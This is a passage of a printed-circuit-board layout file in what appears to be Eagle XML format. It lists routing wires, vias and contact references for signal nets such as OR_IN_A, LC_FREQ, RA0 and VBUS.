y=\"58.4\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"55.5\" y=\"66.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"17\"/>\n<wire x1=\"47.9\" y1=\"70.2\" x2=\"48.11\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"OR_IN_B\">\n<contactref element=\"U6\" pad=\"61\"/>\n<wire x1=\"66.7\" y1=\"51.2\" x2=\"64.6\" y2=\"51.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"67.5\" y1=\"50.4\" x2=\"66.7\" y2=\"51.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.8\" y1=\"50.4\" x2=\"67.5\" y2=\"50.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"82.6\" y1=\"49.6\" x2=\"81.8\" y2=\"50.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.7\" y1=\"35\" x2=\"93.6\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.6\" y1=\"51.2\" x2=\"64.52\" y2=\"51.2094\" width=\"0.2\" layer=\"1\"/>\n<via x=\"82.6\" y=\"49.6\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"35\"/>\n<wire x1=\"93.8\" y1=\"35\" x2=\"93.83\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.8\" y1=\"34.9\" x2=\"93.83\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.7\" y1=\"35\" x2=\"93.83\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.7\" y1=\"46.3\" x2=\"90.4\" y2=\"37.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90.4\" y1=\"37.6\" x2=\"92.4\" y2=\"37.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"92.4\" y1=\"37.6\" x2=\"93.8\" y2=\"36.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.8\" y1=\"36.2\" x2=\"93.8\" y2=\"34.98\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.8\" y1=\"34.98\" x2=\"93.83\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.7\" y1=\"46.3\" x2=\"81.7\" y2=\"49.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.7\" y1=\"49.5\" x2=\"81.8\" y2=\"49.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.8\" y1=\"49.6\" x2=\"82.6\" y2=\"49.6\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"R44\" pad=\"2\"/>\n<wire x1=\"93.5\" y1=\"29.95\" x2=\"93.5\" y2=\"34.62\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.5\" y1=\"34.62\" x2=\"93.83\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"OR_IN_A\">\n<contactref element=\"U6\" pad=\"60\"/>\n<wire x1=\"91.3\" y1=\"34.9\" x2=\"91.5\" y2=\"34.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"50.7\" x2=\"64.5\" y2=\"50.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"62.1\" y1=\"49.7\" x2=\"63.1\" y2=\"50.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.9\" y1=\"44.9\" x2=\"62.1\" y2=\"49.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"68.9\" y1=\"42.9\" x2=\"66.9\" y2=\"44.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"83.5\" y1=\"42.9\" x2=\"68.9\" y2=\"42.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.2\" y1=\"35.2\" x2=\"83.5\" y2=\"42.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.2\" y1=\"35\" x2=\"91.2\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.5\" y1=\"50.7\" x2=\"64.52\" y2=\"50.7014\" width=\"0.2\" layer=\"1\"/>\n<via x=\"62.1\" y=\"49.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"66.9\" y=\"44.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"83.5\" y=\"42.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"34\"/>\n<wire x1=\"91.3\" y1=\"35\" x2=\"91.29\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.3\" y1=\"34.9\" x2=\"91.29\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.2\" y1=\"35\" x2=\"91.29\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"R43\" pad=\"2\"/>\n<wire x1=\"90\" y1=\"29.95\" x2=\"90\" y2=\"31.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"90\" y1=\"31.6\" x2=\"91.3\" y2=\"32.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.3\" y1=\"32.9\" x2=\"91.3\" y2=\"34.94\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.3\" y1=\"34.94\" x2=\"91.29\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"LC_FREQ\">\n<contactref element=\"U6\" pad=\"58\"/>\n<wire x1=\"63.1\" y1=\"49.7\" x2=\"64.5\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"78.7\" y1=\"40.3\" x2=\"70.81\" y2=\"48.19\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80.4\" y1=\"40.3\" x2=\"78.7\" y2=\"40.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"83.7\" y1=\"37\" x2=\"80.4\" y2=\"40.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.1\" y1=\"37\" x2=\"83.7\" y2=\"37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.5\" y1=\"49.7\" x2=\"64.52\" y2=\"49.7108\" width=\"0.2\" layer=\"1\"/>\n<via x=\"63.1\" y=\"49.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"80.4\" y=\"40.3\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"32\"/>\n<wire x1=\"86.2\" y1=\"35\" x2=\"86.21\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.1\" y1=\"37\" x2=\"86.1\" y2=\"35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"86.1\" y1=\"35\" x2=\"86.21\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70\" y1=\"48.2\" x2=\"69.9\" y2=\"48.19\" width=\"0.2\" layer=\"16\"/>\n<via x=\"69.9\" y=\"48.19\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"69.89\" y1=\"48.2\" x2=\"66.5\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.5\" y1=\"48.2\" x2=\"66.2\" y2=\"47.9\" width=\"0.2\" layer=\"1\"/>\n<via x=\"66.2\" y=\"47.9\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"66.2\" y1=\"47.9\" x2=\"64.9\" y2=\"47.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.9\" y1=\"47.9\" x2=\"63.1\" y2=\"49.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"69.89\" y1=\"48.2\" x2=\"69.9\" y2=\"48.19\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"70.81\" y1=\"48.19\" x2=\"69.9\" y2=\"48.19\" width=\"0.2\" layer=\"16\"/>\n<via x=\"78.4\" y=\"18.8\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"79.5\" y1=\"18.8\" x2=\"78.4\" y2=\"18.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.4\" y1=\"18.8\" x2=\"77.9\" y2=\"19.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"77.9\" y1=\"19.3\" x2=\"77.9\" y2=\"22.6\" width=\"0.2\" layer=\"1\"/>\n<via x=\"77.9\" y=\"22.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"77.9\" y1=\"22.6\" x2=\"78.7\" y2=\"23.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.7\" y1=\"23.4\" x2=\"78.7\" y2=\"29.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"78.7\" y1=\"29.1\" x2=\"81.3\" y2=\"31.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81.3\" y1=\"31.7\" x2=\"85.7\" y2=\"31.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"85.7\" y1=\"31.7\" x2=\"86.21\" y2=\"32.21\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"86.21\" y1=\"32.21\" x2=\"86.21\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81\" y1=\"5.2\" x2=\"81\" y2=\"17.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"81\" y1=\"17.3\" x2=\"79.5\" y2=\"18.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.05\" y1=\"1.75\" x2=\"77.55\" y2=\"1.75\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"R40\" pad=\"1\"/>\n<contactref element=\"R39\" pad=\"1\"/>\n<contactref element=\"R38\" pad=\"2\"/>\n<contactref element=\"TP46\" pad=\"TP\"/>\n<wire x1=\"37.95\" y1=\"6\" x2=\"37.95\" y2=\"4.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.95\" y1=\"4.45\" x2=\"37.2\" y2=\"3.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.2\" y1=\"3.7\" x2=\"37.2\" y2=\"1.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.2\" y1=\"1.95\" x2=\"37.15\" y2=\"1.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.15\" y1=\"1.9\" x2=\"35.95\" y2=\"1.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.95\" y1=\"1.9\" x2=\"35.45\" y2=\"1.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.45\" y1=\"1.4\" x2=\"35.45\" y2=\"3.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.45\" y1=\"3.45\" x2=\"35.2\" y2=\"3.7\" width=\"0.2\" layer=\"1\"/>\n<via x=\"35.2\" y=\"3.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"35.2\" y1=\"3.7\" x2=\"35.2\" y2=\"3.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"35.2\" y1=\"3.3\" x2=\"33.6\" y2=\"2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.95\" y1=\"6\" x2=\"38.85\" y2=\"5.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.85\" y1=\"5.1\" x2=\"39.4\" y2=\"5.1\" width=\"0.2\" layer=\"1\"/>\n<via x=\"39.4\" y=\"5.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"39.4\" y1=\"5.1\" x2=\"41.7\" y2=\"5.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.7\" y1=\"5.1\" x2=\"45.05\" y2=\"1.75\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"77.55\" y1=\"1.75\" x2=\"81\" y2=\"5.2\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"U4\" pad=\"7\"/>\n<wire x1=\"41.7\" y1=\"5.1\" x2=\"41.7\" y2=\"8.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.7\" y1=\"8.5\" x2=\"49.5\" y2=\"16.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.5\" y1=\"16.3\" x2=\"49.5\" y2=\"17.6\" width=\"0.2\" layer=\"16\"/>\n<via x=\"49.5\" y=\"17.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"49.5\" y1=\"17.6\" x2=\"50.4\" y2=\"18.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"18.5\" x2=\"50.4\" y2=\"18.99\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RA1\">\n<contactref element=\"U6\" pad=\"38\"/>\n<wire x1=\"53.3\" y1=\"35.1\" x2=\"53.3\" y2=\"42.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.2\" y1=\"35\" x2=\"53.3\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<via x=\"56.1\" y=\"47.3\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"56.1\" y1=\"47.3\" x2=\"56.4\" y2=\"47\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.4\" y1=\"47\" x2=\"56.4\" y2=\"45.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.4\" y1=\"45.9\" x2=\"56.9\" y2=\"45.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"56.9\" y1=\"45.4\" x2=\"56.9\" y2=\"44.58\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.3\" y1=\"42.9\" x2=\"56.1\" y2=\"45.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"56.1\" y1=\"45.7\" x2=\"56.1\" y2=\"47.3\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP14\" pad=\"19\"/>\n<wire x1=\"53.2\" y1=\"35\" x2=\"53.19\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.2\" y1=\"35\" x2=\"53.19\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RA0\">\n<contactref element=\"U6\" pad=\"17\"/>\n<wire x1=\"48.4\" y1=\"50.2\" x2=\"49.2\" y2=\"50.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.4\" y1=\"49.2\" x2=\"48.4\" y2=\"50.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.7\" y1=\"49.2\" x2=\"47.4\" y2=\"49.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.7\" y1=\"41.3\" x2=\"34.7\" y2=\"43.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.9\" y1=\"40.5\" x2=\"34.7\" y2=\"41.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.8\" y1=\"40.5\" x2=\"33.9\" y2=\"40.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.2\" y1=\"39.9\" x2=\"23.8\" y2=\"40.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.5\" y1=\"39.2\" x2=\"23.2\" y2=\"39.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.5\" y1=\"35.1\" x2=\"22.5\" y2=\"39.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.6\" y1=\"35\" x2=\"22.5\" y2=\"35.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"50.2\" x2=\"49.28\" y2=\"50.1934\" width=\"0.2\" layer=\"1\"/>\n<via x=\"38.5\" y=\"47.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"34.7\" y=\"41.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"23.2\" y=\"39.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"7\"/>\n<wire x1=\"22.7\" y1=\"35\" x2=\"22.71\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.6\" y1=\"35\" x2=\"22.71\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.7\" y1=\"49.2\" x2=\"39.3\" y2=\"47.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.3\" y1=\"47.8\" x2=\"38.8\" y2=\"47.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.8\" y1=\"47.8\" x2=\"38.5\" y2=\"47.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.5\" y1=\"47.5\" x2=\"34.7\" y2=\"43.7\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"VBUS\">\n<contactref element=\"U6\" pad=\"54\"/>\n<contactref element=\"R8\" pad=\"1\"/>\n<contactref element=\"U3\" pad=\"5\"/>\n<contactref element=\"C28\" pad=\"1\"/>\n<contactref element=\"C27\" pad=\"1\"/>\n<contactref element=\"U2\" pad=\"5\"/>\n<contactref element=\"U4\" pad=\"4\"/>\n<contactref element=\"C25\" pad=\"2\"/>\n<contactref element=\"C29\" pad=\"1\"/>\n<contactref element=\"C30\" pad=\"1\"/>\n<contactref element=\"U8\" pad=\"P$3\"/>\n<contactref element=\"U5\" pad=\"14\"/>\n<wire x1=\"107\" y1=\"43.4\" x2=\"106.5\" y2=\"43.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"107\" y1=\"43.4\" x2=\"107.0988\" y2=\"43.3114\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"106.5\" y1=\"43.4\" x2=\"105.1\" y2=\"43.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"106.5\" y1=\"43.4\" x2=\"106.59785625\" y2=\"43.385521875\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"106.59785625\" y1=\"43.385521875\" x2=\"107.0988\" y2=\"43.3114\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63\" y1=\"47.7\" x2=\"64.5\" y2=\"47.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"34\" x2=\"64.6\" y2=\"36\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"71.3\" y1=\"27.5\" x2=\"71.3\" y2=\"27.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.1\" y1=\"26.7\" x2=\"71.3\" y2=\"27.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"26.7\" x2=\"72.1\" y2=\"26.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.5\" y1=\"47.7\" x2=\"64.52\" y2=\"47.7042\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43\" y1=\"23.6\" x2=\"42.96\" y2=\"23.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.1\" y1=\"23.4\" x2=\"42.96\" y2=\"23.65\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52\" y1=\"16\" x2=\"52\" y2=\"14.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"52.1\" y1=\"16\" x2=\"52\" y2=\"16\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.1\" y1=\"16\" x2=\"52.15\" y2=\"16.01\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.1\" y1=\"17.9\" x2=\"69.1\" y2=\"15.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"68.7\" y1=\"17.9\" x2=\"69.1\" y2=\"17.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"67.7\" y1=\"18.9\" x2=\"68.7\" y2=\"17.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"71.3\" y1=\"17.9\" x2=\"72.3\" y2=\"18.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"69.1\" y1=\"17.9\" x2=\"71.3\" y2=\"17.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"101.2\" y1=\"19\" x2=\"101.2\" y2=\"20.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"101.2\" y1=\"20.2\" x2=\"101.2\" y2=\"23.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"99.85\" y1=\"19\" x2=\"101.2\" y2=\"19\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"86.7\" y1=\"18.2\" x2=\"85.5\" y2=\"17\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"86.7\" y1=\"19\" x2=\"86.7\" y2=\"18.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"86.85\" y1=\"19\" x2=\"86.7\" y2=\"19\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"88.5\" y1=\"19\" x2=\"88.5\" y2=\"20.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"88.5\" y1=\"20.2\" x2=\"101.2\" y2=\"20.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"67.1\" y1=\"14.1\" x2=\"67.1\" y2=\"7.46\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"68.9\" y1=\"15.9\" x2=\"67.1\" y2=\"14.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"69.1\" y1=\"15.9\" x2=\"68.9\" y2=\"15.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"69.1\" y1=\"15.9\" x2=\"69.15\" y2=\"15.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.1\" y1=\"16.1\" x2=\"52.15\" y2=\"16.01\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"103.9\" y1=\"24.8\" x2=\"103.9\" y2=\"34.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"102.5\" y1=\"23.4\" x2=\"103.9\" y2=\"24.8\" width=\"0.4\" layer=\"1\"/>\n<via x=\"62.6\" y=\"46.6\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"71.3\" y=\"27.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"67.1\" y=\"14.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"C26\" pad=\"1\"/>\n<wire x1=\"31.6\" y1=\"15.4\" x2=\"31.6\" y2=\"16.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"31.6\" y1=\"16.2\" x2=\"31.6\" y2=\"25\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"31.6\" y1=\"25\" x2=\"29.99\" y2=\"26.61\" width=\"0.4\" layer=\"1\"/>\n<via x=\"31.6\" y=\"15.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"102.5\" y1=\"23.4\" x2=\"101.2\" y2=\"23.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"27.15\" y1=\"16.3\" x2=\"31.5\" y2=\"16.3\" width=\"0.4\" layer=\"1\"/>\n<contactref element=\"F1\" pad=\"1\"/>\n<wire x1=\"104\" y1=\"70.2\" x2=\"104\" y2=\"69.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"87.0414\" y1=\"22.8\" x2=\"88.1\" y2=\"22.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.1\" y1=\"22.8\" x2=\"88.6\" y2=\"22.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.6\" y1=\"22.3\" x2=\"88.6\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"88.6\" y1=\"20.3\" x2=\"88.5\" y2=\"20.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"JP14\" pad=\"39\"/>\n<contactref element=\"JP15\" pad=\"39\"/>\n<wire x1=\"104\" y1=\"70.2\" x2=\"103.99\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"103.99\" y1=\"34.95\" x2=\"103.9\" y2=\"34.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"103.99\" y1=\"34.95\" x2=\"104\" y2=\"35\" width=\"0.3\" layer=\"1\"/>\n<wire x1=\"86.85\" y1=\"19\" x2=\"88.5\" y2=\"19\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"36\" x2=\"63.8\" y2=\"36.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.8\" y1=\"36.8\" x2=\"63.8\" y2=\"37.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"63.8\" y1=\"37.3\" x2=\"62.6\" y2=\"38.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"31.6\" y1=\"15.4\" x2=\"34.7\" y2=\"15.4\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"34.7\" y1=\"15.4\" x2=\"35.6\" y2=\"14.5\" width=\"0.4\" layer=\"16\"/>\n<via x=\"35.6\" y=\"14.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"35.6\" y1=\"14.5\" x2=\"52\" y2=\"14.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"31.5\" y1=\"16.3\" x2=\"31.6\" y2=\"16.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"104\" y1=\"69.2\" x2=\"103.9\" y2=\"69.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"18.8\" x2=\"74.1\" y2=\"17\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"74.1\" y1=\"17\" x2=\"81.9\" y2=\"17\" width=\"0.4\" layer=\"1\"/>\n<via x=\"107.9\" y=\"45.4\" extent=\"1-16\" drill=\"0.7\"/>\n<wire x1=\"81.9\" y1=\"17\" x2=\"85.5\" y2=\"17\" width=\"0.4\" layer=\"1\"/>\n<via x=\"108.9\" y=\"67.2\" extent=\"1-16\" drill=\"0.7\"/>\n<wire x1=\"62.6\" y1=\"38.5\" x2=\"62.6\" y2=\"46.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"107.9\" y1=\"45.4\" x2=\"107.9\" y2=\"43.6\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"107.9\" y1=\"43.6\" x2=\"107.6\" y2=\"43.3\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"107.6\" y1=\"43.3\" x2=\"106.683378125\" y2=\"43.3\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"106.683378125\" y1=\"43.3\" x2=\"106.59785625\" y2=\"43.385521875\" width=\"0.6\" layer=\"1\"/>\n<wire x1=\"80.85\" y1=\"11.35\" x2=\"82\" y2=\"12.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"82\" y1=\"12.5\" x2=\"82\" y2=\"16.9\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"82\" y1=\"16.9\" x2=\"81.9\" y2=\"17\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"99.85\" y1=\"23.45\" x2=\"101.15\" y2=\"23.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"101.15\" y1=\"23.45\" x2=\"101.2\" y2=\"23.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.15\" y1=\"11.35\" x2=\"52\" y2=\"12.2\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"52\" y1=\"12.2\" x2=\"52\" y2=\"14.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"57.3\" y1=\"4.7\" x2=\"61.1\" y2=\"4.7\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"61.1\" y1=\"4.7\" x2=\"61.1\" y2=\"12.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"61.1\" y1=\"12.6\" x2=\"59.2\" y2=\"14.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"59.2\" y1=\"14.5\" x2=\"52\" y2=\"14.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"52.1\" y1=\"16.1\" x2=\"46.4\" y2=\"16.1\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"46.4\" y1=\"16.1\" x2=\"46\" y2=\"16.5\" width=\"0.4\" layer=\"1\"/>\n<via x=\"46\" y=\"16.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"45\" y1=\"17.5\" x2=\"45\" y2=\"22.8\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"45\" y1=\"22.8\" x2=\"45.2\" y2=\"23\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"45.2\" y1=\"23\" x2=\"45.2\" y2=\"23.6\" width=\"0.4\" layer=\"16\"/>\n<via x=\"45.2\" y=\"23.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"45.2\" y1=\"23.6\" x2=\"45.1\" y2=\"23.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"45\" y1=\"17.5\" x2=\"46\" y2=\"16.5\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"46.2\" y1=\"16.3\" x2=\"46\" y2=\"16.5\" width=\"0.4\" layer=\"16\"/>\n<contactref element=\"R39\" pad=\"2\"/>\n<contactref element=\"R41\" pad=\"1\"/>\n<wire x1=\"50.4\" y1=\"22.8\" x2=\"46\" y2=\"22.8\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"46\" y1=\"22.8\" x2=\"45.2\" y2=\"23.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"43.1\" y1=\"23.4\" x2=\"45\" y2=\"23.4\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"45\" y1=\"23.4\" x2=\"45.2\" y2=\"23.6\" width=\"0.4\" layer=\"1\"/>\n<wire 